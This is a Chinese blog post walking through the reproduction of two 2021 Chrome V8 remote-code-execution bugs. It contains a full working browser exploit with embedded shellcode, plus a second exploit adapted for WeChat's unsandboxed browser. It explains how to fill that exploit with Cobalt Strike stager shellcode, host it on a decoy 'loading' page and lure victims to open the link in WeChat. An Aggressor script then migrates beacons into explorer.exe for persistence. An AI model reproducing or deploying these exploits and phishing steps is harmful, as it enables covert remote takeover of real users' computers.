chrome 0day rce 漏洞复现
文章最后更新时间为：2021年04月22日 16:38:29
漏洞概述
2021年4月13日，国外安全研究员在twitter发布了Chrome远程代码执行0Day的POC： https://twitter.com/r4j0x00/status/1381643526010597380，该漏洞可以启动计算器应用程序。
该漏洞存在于 V8 JavaScript 引擎中，攻击者可通过构造特制web页面并诱导受害者点击访问，以此触发漏洞执行远程代码。
影响版本为
- Google Chrome < = 89.0.4389.114（正式版）
仅隔一天，4月14日，又有人公开了Chrome的另外一个rce漏洞：https://twitter.com/frust93717815/status/1382301769577861123
影响版本为
- Google Chrome < = 89.0.4389.128（正式版）
由于Chrome自身拥有沙箱保护，这两个漏洞在沙箱内无法被成功利用，一般情况下，仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。所以直接利用chrome漏洞相对鸡肋，但是仍然有不少基于v8等组件的软件，尤其是未开启沙箱保护的软件，面临着潜在的安全风险。比如微信，接下来将进行复现。
漏洞复现
这里在windows10上安装64位chrome浏览器，版本为89.0.4389.72，下载地址为：
安装完成后，关闭沙箱模式启动chrome，右键图标，选中属性，在启动命令后加上--no-sandbox:
然后用chrome打开下面的html
// exploit.html
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>
成功弹出记事本，如果想执行其他命令替换其中的shellcode即可。
微信上线cs
直接利用chrome进行钓鱼比较困难，因为chrome默认开了沙箱保护。
但是微信内置chrome内核浏览器版本较低，默认使用–no-sandbox，没有开启沙盒。所以我们可以利用微信诱骗别人点击恶意链接，从而执行任意命令。
影响版本为：
- Windows微信版本<3.2.1.141
这里复现一下利用微信上线cobaltstrike。
exp为：
// wx-exp.js
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [放入shelcode];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
然后CS开启stager监听，并生成C语言的 shellcode：
注意这里要生成32位的shellcode，因为windows微信默认是32位的
将生成的shellcode从\x01的形式变为0x01，将shellcode 中的斜杠"\"替换为",0"即可，然后将shellcode填充到上面的exp中。
找个服务器，构造html,包含此js代码
<!DOCTYPE html>
<html>
<head>
<title>正在加载网页</title>
<meta charset="utf-8">
<!-- <script src="chrome-notepad.js"></script> -->
<script src="wx-exp.js"></script>
<div style="font-size: 1.3em;margin: 10px auto;width: 200px;display: block;">
正在加载网页中...
</div>
</head>然后诱导别人通过微信访问此链接。
cs成功上线
cs上线持久化
无论是chrome还是微信，上线cs后，只要用户关闭浏览器或者关闭页面就会断开连接，所以在真实的钓鱼中还得做到上线后的持久化。
持久化的目标就是上线后立马迁移到新的不会关闭的进程，比如explorer.exe。
可以利用下面的cs插件做到上线后的进程迁移
on beacon_initial
{
sub callback
{
$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
$listener = "wx";
if ($2 ismatch $regex)
{
$pid = matched()[1];
$inject_pid = $pid;
if (-is64 $1)
{
$arch = "x64";
}
else
{
$arch = "x86";
}
binject($1, $pid, $listener, $arch);
}
}
if($inject_pid != beacon_info($1,"pid"))
{
bps($1, &callback);
}
}上述插件在beacon_initial阶段对wx的listerner上线的所有机器进行检测，自动迁移进程到explorer.exe。
同时为了在短时间内迁移，我们需要设置心跳的时间为1s，这里直接使用了https://github.com/threatexpress/malleable-c2的profile，然后修改其sleeptime参数为1s：
set sleeptime "1000"; # 1s然后用户上线后会自动注入到explorer进程中:
exp下载地址：https://github.com/saucer-man/exploit/tree/main/chrome-0day